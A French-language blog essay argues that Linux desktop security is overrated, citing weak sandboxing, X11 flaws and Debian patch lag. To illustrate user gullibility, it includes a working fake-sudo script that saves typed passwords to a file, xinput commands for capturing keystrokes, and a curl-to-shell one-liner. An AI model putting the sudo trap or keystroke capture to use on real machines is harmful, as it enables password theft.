Le mythe de la sécurité sur Linux

Linux est un noyau (pour résumer, le programme qui sert d'interface matériel/logiciel) inspiré des systèmes UNIX. Il est utilisé dans divers appareils embarqués, sur des serveurs, sur des smartphones (Android), et en très petite partie sur des ordinateurs personnels.

Quand on parle de "Linux" sur Internet, on se réfère souvent aux distributions "GNU/Linux" (un OS complet qui associe le noyau Linux à l'userland GNU). Je vais comettre également cet abus de language mais il faut impérativement garder à l'esprit ces différences.

Linux est souvent considéré comme une alternative plus sûre aux OS traditionnels et commerciaux (que sont Windows et macOS). Si cela a peut-être été le cas il y a plus d'une dizaine d'années, ce n'est plus tout à fait correct de nos jours. Ici, je critique particulièrement l'adaptation de Linux au modèle de sécurité "desktop".

Quand on s'aime, on se dit les choses.

Absence de mitigations modernes

Tout d'abord, on peut parler de l'absence de mitigations modernes et de défauts techniques majeurs :

  • L'absence de sandboxing efficace : toutes les applications ont accès aux mêmes données entre elles (modèle MS-DOS). Il suffit d'une application malveillante qui exploite une faille random et la partie est finie pour vos données. Une sandbox élaborée limiterait ces dommages.
  • L'absence généralisée de CFI (Control Flow Integrity) qui empêche l'exploitation de processus notamment par des attaques de corruption liées à la mémoire. CFI est intensivement utilisé dans Chromium et Windows par exemple.
  • L'usage massif dans les programmes de langages memory-unsafe tels que le C et le C++, qui sont prompts aux erreurs et aux attaques citées ci-dessus. Microsoft s'intéresse au Rust et explique pourquoi.
  • L'absence de vérification d'intégrité au démarrage : Secure Boot en est une implémentation partielle seulement, qui ne fonctionne que sous certaines conditions avec certaines distributions GNU/Linux. Sur "desktop", cette forme de protection existe sur les PC Secured-Core (que Windows...), les Macbook post-2016 (T2 & ARM) ainsi que les Chromebooks.

La partie se complique quand on s'intéresse à l'isolation au niveau de X, qui est encore un des exemples illustrant que la sécurité n'est pas prise au sérieux dans cet "écosystème" du libre. Non, même AppArmor ne suffira pas.

Linux (le noyau) lui-même est écrit dans des langages memory-unsafe (et ça n'avance pas très vite...), manque énormément en termes de mitigations et d'efforts centrés sur des bugs potentiellement dangereux (cf. ci-dessus). Ce sont des problèmes qui trainent depuis 10 ans déjà.

De par sa nature de noyau monolithique en constante évolution avec ajout de nouvelles fonctionnalités, il dispose d'une grande surface d'attaque avec une masse de code "privilégié" colossale.

Open-source, vous dites ?

J'en parlais dans mon précédent article pour illustrer l'evidence-based security mais un rappel dans ce contexte est le bienvenu :

Evidence-based security
En écho à la “broscience” (usuellement de la désinformation scientifique par des personnes non-compétentes), je souhaite m’adresser dans cette série d’articles à des mythes persistants de la sécurité informatique, qui n’ont jamais été corrects, ou bien obsolètes.

Mais si vous n'êtes toujours pas convaincus par mes propos, je vous réfère à cette lecture intéressante qui provient de la Linux Foundation :

One of the survey goals was to understand the state of security in FOSS, and indeed it found that respondents report spending very little of their time on responding to security issues (an average of 2.27% of their total time spent).

Peu de temps est passé à résoudre des problèmes de sécurité.

Moreover, the respondents do not report a desire to increase this significantly; in fact, the average of percent of time reported they would like to spend on security was only 0.06% higher. In addition to questions about their efforts, survey participants were asked what would be the most beneficial contribution to their FOSS projects from external sources.

Les contributeurs ne s'y intéressent en effet tout simplement pas assez.

Some of the topmost requested contributions were proposed bug/security fixes, free security audits, and simplified ways to add securityrelated tools to their CI pipelines (Figure 19). This indicates that there is a clear need for these efforts, but existing contributors are not interested in dedicating substantial additional time to it.

Si vous avez un peu de temps libre, je vous conseille la lecture de cet article.

GNU/Linux et le modèle de sécurité desktop

Le modèle de sécurité desktop sur des distributions GNU/Linux classiques est particulièrement douteux :

  • Absence de règles strictes SELinux au nom de la permissivité (même si mises en place, ne limitent pas la casse d'une isolation GUI inexistante)
  • Un usage dangereux de su et sudo (qui mène à une compromission totale à partir d'un utilisation non-root). En savoir plus.
  • X11 est une énorme tare et j'insiste. En somme, toutes les applications graphiques peuvent récupérer tout ce que vous écrivez, y compris des mots de passe, et même avec des frameworks de contrôle d'accès (AppArmor). Fort heureusement, Wayland est en voie de le remplacer, mais le support de l'écosystème tarde depuis des années.
  • Un modèle de distribution de paquets aux effets de bords parfois très étranges...

Backport, or not backport...

Debian, par exemple, est souvant vantée pour sa stabilité et sécurité, mais qu'en est-il vraiment ? Ses paquets gelés attendent en effet des backports de fix pour des CVEs. Mais en pratique, vous en raterez une bonne partie par inattention du développeur et/ou non-évidence de l'exploitation ; et aussi car le système de CVE n'est pas infaillible dans l'absolu.

C'est le cas par exemple pour Chromium qui n'aura pas systématiquement des backports de fix... et même Linux. Fort heureusement, ce problème est partiellement contourné avec des repo "sécurité" qui vont un peu à contresens de ce "freeze".

Les mainteneurs et contributeurs Debian ne peuvent absolument pas tout suivre, c'est parfois au petit bonhneur la chance ; alors imaginez pour les autres distributions basées sur ce modèle de freeze au long terme. Ce modèle n'est vraiment intéressant que sur des systèmes que vous ne voulez pas voir casser du jour au lendemain et qui ont des besoins ciblés (serveurs).

Updates lag (n-days say hello)

Pour illustrer simplement le lag des mises à jour avec ce système, voici un exemple avec la CVE-2021-21148 : une 0-day de haute sévérité fixée aussitôt dans Chromium 88.0.4324.150. Au passage, il n'y a rien d'impartial dans le choix de ce navigateur comme exemple...

Capture d'écran du security tracker Debian au 09/02/21

4 jours après l'annonce de la 0-day et la publication de son fix, on attend toujours de pouvoir mettre à jour chez les utilisateurs de Debian. Les jours passent et la fenêtre de vulnérabilité est bien plus grande que chez les autres utilisateurs qui ne dépendent pas d'un intermédiaire. Ici, on attend déjà que le patch arrive dans Sid, mais tous les backports ne sont pas garantis d'arriver dans la branche stable sans évidence d'exploitation.

Quand une 0-day est publiée, les mises à jour doivent être aussitôt faites pour réduire la fenêtre de vulnérabilité (qui en soit prédate même la publication d'une 0-day). Cette 0-day devient une n-day ce qui est d'autant plus dangereux, d'où l'intérêt de réduire cette fenêtre au maximum.

Au 12/02/21, soit J+7 : le patch n'est toujours pas dans la branche stable...

Encore une fois, je ne critique pas particulièrement Debian dont l'équipe fait un travail formidable compte tenu du modèle de distribution. Seulement, ce dernier a des limites comme montré à travers cet exemple.

La crédulité de l'utilisateur final

Utilisateurs de Linux, Windows, macOS... Nous sommes tous des êtres faillibles qui répondent à des émotions et qui se fatiguent au cours de la journée. Peu importe votre système, vous êtes le premier responsable de votre propre sécurité, alors ne vous croyez jamais intouchables.

Ce petit programme ci-dessous peut se faire passer pour sudo et récupérer votre mot de passe, et beaucoup ne se douteraient de rien. N'est-ce pas problématique ?

cat <<\EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -r -p "[sudo] password for user: " password
  echo "${password}" > /tmp/password
  echo "Sorry, try again."
  /usr/bin/sudo ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"

Encore plus drôle, en profitant du serveur X...

xinput list
xinput test id

Sources des exemples.

Mais c'est pour ça que les paquets existent ; je n'ai pas à executer des binaires ou des scripts de tierce partie !

N'avez-vous vraiment jamais lancé une commande du genre :

 sh -c "$(curl -fsSL https://domain.tld/script.sh)"

Et pouf, ce genre de chose suffit à égarer son esprit, à baisser sa garde l'espace d'un instant. Game over!

Où veux-tu en venir ? Que reproches-tu aux distributions actuelles ?

Réflexion n°1 : certes, il y a en quantité moins de malwares destinés aux usagers de distributions Linux desktop, car c'est forcément une cible très restreinte. On pourrait considérer une forme de sécurité par l'obscurité, mais ce n'est pas tout le temps une bonne chose. En fait, cela pourrait même provoquer un biais qui vous sera fatal un jour ou l'autre.

Réflexion n°2 : est-ce que les distributions doivent suivre la voie d'Apple et Microsoft et cloisonner leurs utilisateurs pour les empêcher au maximum de faire des bêtises (même ça, ça ne marche pas toujours...) ? Doit-on utiliser un OS "user-safe", même si l'on est un utilisateur "conscienceux" et soucieux de la sécurité ? Ce sont d'excellentes questions sur lesquelles je suis encore en réflexion.

Hardening

Il est bien entendu concevable pour les utilisateurs les plus soucieux de renforcer leur système. Il y aura toujours des limites, car certains défauts sont inhérents à l'architure-même du système.

Cela passera entre autres par :

  • Une politique de contrôle d'accès restreinte (MAC : SELinux, AppArmor)
  • Un kernel patché (Grsecurity, Linux-hardened, PaX...)
  • Chiffrement intégral des disques
  • Mise en place de mitigations diverses (sandboxing, verified boot, allocateur de mémoire renforcé)
  • Les bonnes pratiques : mises à jour rapides et régulières, réduction de la surface d'attaque (installer le moins de services possibles = KISS, moindre privilège)

Des guides existent déjà à ce sujet :

Security - ArchWiki
Security Hardening Checklist
Security hardening instructions for Whonix ™ and Qubes-Whonix ™. Improving Linux, Windows and macOS host computer security and networking configurations. Safe Tor, Tor Browser and other online activities.

De ce que j'ai pu consulter au fil de mes recherches, les distributions GNU/Linux adaptées à un usage desktop qui documentent le plus leur modèle de sécurité sont Fedora, Arch Linux, Alpine Linux et Gentoo. À vous de faire vos propres recherches !

ChromeOS est en réalité une distribution Linux basée sur Gentoo. C'est l'un des premiers OS au monde à avoir implémenté la vérification d'intégrité au démarrage... il y a plus de 10 ans ! Elle dispose d'ailleurs d'un très bon modèle de sandboxing hérité évidemment du navigateur Chrome. C'est un OS à l'usage limité et qui ne conviendra pas si vous n'êtes pas friand des services Google, mais c'est probablement l'OS desktop "grand public" le plus sûr.

Aussi, il faudrait mentionner Qubes OS qui pousse le concept de sandboxing au maximum : chaque application ou ensemble d'applications tourne dans une machine virtuelle propre. C'est très demandeur en ressources, et ça ne peut pas convenir au grand public, mais le projet n'en demeure pas moins intéressant.

Petit aparté sur le sandboxing : Firejail, Flatpak, ou encore Docker (les conteneurs en général) ne sont pas des solutions viables et facilitent même des escalations de privilège si mal utilisés. La meilleure option à ce jour reste la virtualisation, mais la sécurité du système hôte demeure cruciale. L'écosystème mobile est ici bien plus en avance du fait du modèle desktop plus ancien et historiquement permissif, et l'on constate un rapprochement entre les deux écosystèmes (avec les applications sandboxed du store Microsoft, et aussi chez Apple), du moins chez les écosystèmes concernés.

Nous parlerons du cas Android dans un prochain article car il relève d'un modèle de sécurité intégralement différent de celui traité ici.

Doit-on fuir Linux (sur desktop) ?

Absolument pas. À travers cet article, je ne veux pas vous décourager d'utiliser Linux sur desktop. Je souhaite simplement qu'une partie de ses utilisateurs cessent de propager des paroles partisannes dénuées de technique, et travaillent activement à faire de l'écosystème Linux desktop un environnement plus sûr. Le libre doit rester une alternative, et ce pour tout modèle de menace.

Documentez-vous, parlez sécurité à des contributeurs de tout projet lié à Linux. Et si vous êtes contributeur, prenez la chose plus à coeur et pas comme un coup de malchance si une CVE vous tombe sur le dos. J'ai d'ailleurs choisi de ne pas m'attarder sur le CVE counting, car ça n'a que très peu de sens.

On pourrait même rédiger une thèse sur ce sujet, mais j'espère que ces quelques réflexions et exemples suffiront à servir d'électrochoc.

Références qui ont inspiré l'article et détaillent davantage :